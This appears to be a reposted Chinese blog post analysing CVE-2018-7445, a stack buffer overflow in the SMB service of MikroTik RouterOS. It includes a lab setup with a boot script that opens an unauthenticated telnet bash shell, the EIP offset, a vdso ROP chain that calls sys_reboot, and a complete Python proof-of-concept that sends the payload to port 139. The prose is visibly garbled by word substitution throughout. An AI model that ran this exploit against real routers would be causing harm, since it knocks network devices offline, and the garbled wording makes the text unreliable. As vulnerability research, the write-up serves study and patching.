快捷搜索:  网络  渗透  后门  CVE  扫描  木马  黑客  as

路由器漏洞阐发第六弹 :CVE-2018-7445 MikroTik路由器体系缓冲区溢出漏洞

*

前面几篇文章阐发了mips,arm,这次挑一个开启了NX以及ASLR维护的x86架构的路由器。

【传送门】

通过CVE-2017-17215学习路由器漏洞阐发,从入坑到抛却

路由器漏洞复现阐发第二弹:CNVD-2018-01084

路由器漏洞复现阐发第三弹:DVRF INTRO标题问题阐发

路由器漏洞复现阐发第四弹:CVE-2018-7034

路由器漏洞阐发第五弹:CVE-2018-5767路由器遥程代码执行

一. 漏洞概述

CVE-2018-7445 MikroTik RouterOS SMB 缓冲区溢出

参考信息:https://www.coresecurity.com/advisories/mikrotik-routeros-smb-buffer-overflow

漏洞固件版本:

mikrotik-6.40.6.iso   x86版本

下载地址:https://mikrotik.com/download

Mikrotik的漏洞最早进入视野(我的)是客岁早些时辰泄露的CIA武器库。根据卡巴的信息,有APT构造对mikrotik的漏洞用的很多:

几天前,卡巴斯基实验室的安全专家宣告已经发现了一个新的复杂的 APT 构造,该构造从最少 2012 年起最少已经在雷达中运行。卡巴斯基跟踪该构造,并确定了它使用的一系列恶意软件,黑客工具,称为 Slingshot,以让步中东以及非洲数十万受害者的体系。

研究人员已经在肯尼亚,也门,阿富汗,利比亚,刚果,约旦,土耳其,伊拉克,苏丹,索马里以及坦桑尼亚发现了约 100 名弹弓受害者并发现了其模块。肯尼亚以及也门迄今为止感染人数至多。大多数受害者是小我私人而非构造,当局构造数量有限。APT 组行使拉脱维亚收集硬件提供商 Mikrotik 使用的路由器中的零日漏洞(CVE-2007-5633; CVE-2010-1592,CVE-2009-0824)将间谍软件放入受害者的计算机中。

攻击者起首损坏路由器,然后用文件体系中的恶意代码替代它的一个 DLL,当用户运行 Winbox Loader 软件(Mikrotik 路由器治理套件)时,该库将加载到目标计算机内存中。

该 DLL 文件在受害者的机器上运行,并连接到遥程服务器下列载终极有用负载,即卡巴斯基监控的攻击中的 Slingshot 恶意软件。目前还不清楚 Slingshot 团伙是否也行使 CVE-2018-7445 漏洞风险路由器。

二. 漏洞阐发.

2.1 搭建router os阐发环境

先装置router os, 关上iso文件,删除掉默认硬盘,增添一个IDE硬盘

路由器第六弹 :CVE-2018-7445 MikroTik RouterOS Buffer Overflow

开机

路由器第六弹 :CVE-2018-7445 MikroTik RouterOS Buffer Overflow

按a选择整个,然后I装置,一起y

路由器第六弹 :CVE-2018-7445 MikroTik RouterOS Buffer Overflow

装置实现后重启,admin以及空暗码登然后setup命令配置ip

路由器第六弹 :CVE-2018-7445 MikroTik RouterOS Buffer Overflow

要是统统顺利此时可以ssh连接到rooteros了

Rooteros不支持一些基本的linux命令,为了更方便的操作,需要将busybox以及gdbserver 放进去.

将cd选择为一个ubuntu的镜像

路由器第六弹 :CVE-2018-7445 MikroTik RouterOS Buffer Overflow

选择开机前进入bios配置启动选项,

路由器第六弹 :CVE-2018-7445 MikroTik RouterOS Buffer Overflow

选择先从cd启动

路由器第六弹 :CVE-2018-7445 MikroTik RouterOS Buffer Overflow

再重启捏造机, 选择 try ubuntu

路由器第六弹 :CVE-2018-7445 MikroTik RouterOS Buffer Overflow

进入体系后,将 /dev/sda2 mount到创建的暂且文件夹

路由器第六弹 :CVE-2018-7445 MikroTik RouterOS Buffer Overflow

把busybox以及gdbserver 拷贝到bin目录下

路由器第六弹 :CVE-2018-7445 MikroTik RouterOS Buffer Overflow

并创建以下路径的脚本,当路由器体系启动的时辰会自动执行此脚本

路由器第六弹 :CVE-2018-7445 MikroTik RouterOS Buffer Overflow

PS:要修改这3个文件为可执行  

脚本内容:

#!/bin/bash
mkdir /ram/mybin
/flash/bin/busybox-i686 --install -s /ram/mybin
export PATH=/ram/mybin:$PATH
telnetd -p 23000 -l bash

再重启路由器后,就可以通过telnet连接进去

telnet192.168.174.160 23000

路由器第六弹 :CVE-2018-7445 MikroTik RouterOS Buffer Overflow

telnet成功

Namp 扫一下,发现并没有开139端口.

需要使用以下命令关上SMB服务.

Ip smb setenabled=yes

再用 ip smb print 查看

路由器第六弹 :CVE-2018-7445 MikroTik RouterOS Buffer Overflow

Nmap确认一下

路由器第六弹 :CVE-2018-7445 MikroTik RouterOS Buffer Overflow

Gdbsever attach上去, gdbserver 192.168.174.153:1234 –attach $(pidof smb)

路由器第六弹 :CVE-2018-7445 MikroTik RouterOS Buffer Overflow

好的,IDA遥程调试, fire inthe hole

2.2 控制eip

栈溢出发生鄙人面函数, 其中a2为拷贝的源地址,a2第一个值被当做拷贝的长度,那么当a2第一位值大于a1的长度的时辰,发生溢出

路由器第六弹 :CVE-2018-7445 MikroTik RouterOS Buffer Overflow

需要对服务器发送smb协定中的session信息才能进入到此函数处理中,需要以下的smb包

header =struct.pack(“!ccH”, NETBIOS_SESSION_REQUEST, NETBIOS_SESSION_FLAGS,len(data))

先用pwntool 找下 eip的地位

x=cyclic(500)

attack= header + x

路由器第六弹 :CVE-2018-7445 MikroTik RouterOS Buffer Overflow

cyclic_find(0x61617a61)=99

测试一下

buf = header + “\xff”*99+BBBB,此时crash在eip为42424242

路由器第六弹 :CVE-2018-7445 MikroTik RouterOS Buffer Overflow

2.3 rop链组织

Smb内里没有dlsym,system等器械,只能看看so了,先看下加载了哪些so

路由器第六弹 :CVE-2018-7445 MikroTik RouterOS Buffer Overflow

# cat /proc/sys/kernel/randomize_va_space

路由器第六弹 :CVE-2018-7445 MikroTik RouterOS Buffer Overflow

看一下发现aslr开启了,每一次lib的地址都不 同样。

Dep也开启了

路由器第六弹 :CVE-2018-7445 MikroTik RouterOS Buffer Overflow

由于smb内里没有引用system以及dlysm函数,vdso内里有int80,那么考虑用int80来调用sys_reboot.

用gdb attach到调试程序targetremote 192.168.174.160:1234

Vdso的地址是固定的,Vdso dump下来

路由器第六弹 :CVE-2018-7445 MikroTik RouterOS Buffer Overflow

找到godget

路由器第六弹 :CVE-2018-7445 MikroTik RouterOS Buffer Overflow

sys_reboot对应体系调用编号为88

路由器第六弹 :CVE-2018-7445 MikroTik RouterOS Buffer Overflow

需要组织4个参数

路由器第六弹 :CVE-2018-7445 MikroTik RouterOS Buffer Overflow

路由器第六弹 :CVE-2018-7445 MikroTik RouterOS Buffer Overflow

路由器第六弹 :CVE-2018-7445 MikroTik RouterOS Buffer Overflow

那么组织出以下参数

ebx=0xfee1dead

ecx=672274793

edx=0x1234567

esi=0

搜索godget:

路由器第六弹 :CVE-2018-7445 MikroTik RouterOS Buffer Overflow

组织以下的rop链

payload=""

#预备edx ecx ebx esi参数

payload +=p32(0x08054017)# : pop edx ; pop ecx ; pop ebx ; pop esi ; pop edi ; pop ebp ;ret

payload +=p32(0x1234567) # edx

payload +=p32(672274793) # ecx 

payload +=p32(0xfee1dead)# ebx

payload +=p32(0x0)# esi

payload +=p32(0xaaaaaaaa)# edi

payload +=p32(0xaaaaaaaa)# ebp

#预备eax ebx参数

payload +=p32(0x0804f7da)# : pop eax ; pop ebx ; pop ebp ; ret

payload +=p32(0x00000058) # eax = sys_reboot

payload +=p32(0xfee1dead) # ebx

payload +=p32(0xaaaaaaaa) # ebp

#call int80

payload +=p32(0xFFFFE422)# int 0x80; pop ebp; pop edx; pop ecx; ret

payload +=p32(0xaaaaaaaa) # ebp

payload +=p32(0x0) # edx

payload+= p32(0x0)  # ecx

执行后,

路由器第六弹 :CVE-2018-7445 MikroTik RouterOS Buffer Overflow

路由器重启成功!

路由器第六弹 :CVE-2018-7445 MikroTik RouterOS Buffer Overflow

完备poc

#!/usr/bin/envpython

importsocket

importstruct

import sys

from pwnimport *

context(arch= 'i386', os = 'linux')

NETBIOS_SESSION_REQUEST= "\x81"

NETBIOS_SESSION_FLAGS= "\x00"

payload=""

payload +=p32(0x08054017)# : pop edx ; pop ecx ; pop ebx ; pop esi ; pop edi ; pop ebp ;ret

payload +=p32(0x1234567) # edx

payload +=p32(672274793) # ecx 

payload +=p32(0xfee1dead)# ebx

payload +=p32(0x0)# esi

payload +=p32(0xaaaaaaaa)# edi

payload +=p32(0xaaaaaaaa)# ebp

payload +=p32(0x0804f7da)# : pop eax ; pop ebx ; pop ebp ; ret

payload +=p32(0x00000058) # eax = sys_reboot

payload +=p32(0xfee1dead) # ebx

payload +=p32(0xaaaaaaaa) # eb

payload +=p32(0xFFFFE422)# int 0x80; pop ebp; pop edx; pop ecx; ret

payload +=p32(0xaaaaaaaa) # ebp

payload +=p32(0x0) # edx

payload +=p32(0x0)  # ecx

header =struct.pack("!ccH", NETBIOS_SESSION_REQUEST, NETBIOS_SESSION_FLAGS,len(payload)+99)

x="\xff"*99

attack =header + x+payload

if __name__== "__main__":

    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

    s.connect(("192.168.174.160",139))

    s.send(attack)

*

您可能还会对下面的文章感兴趣: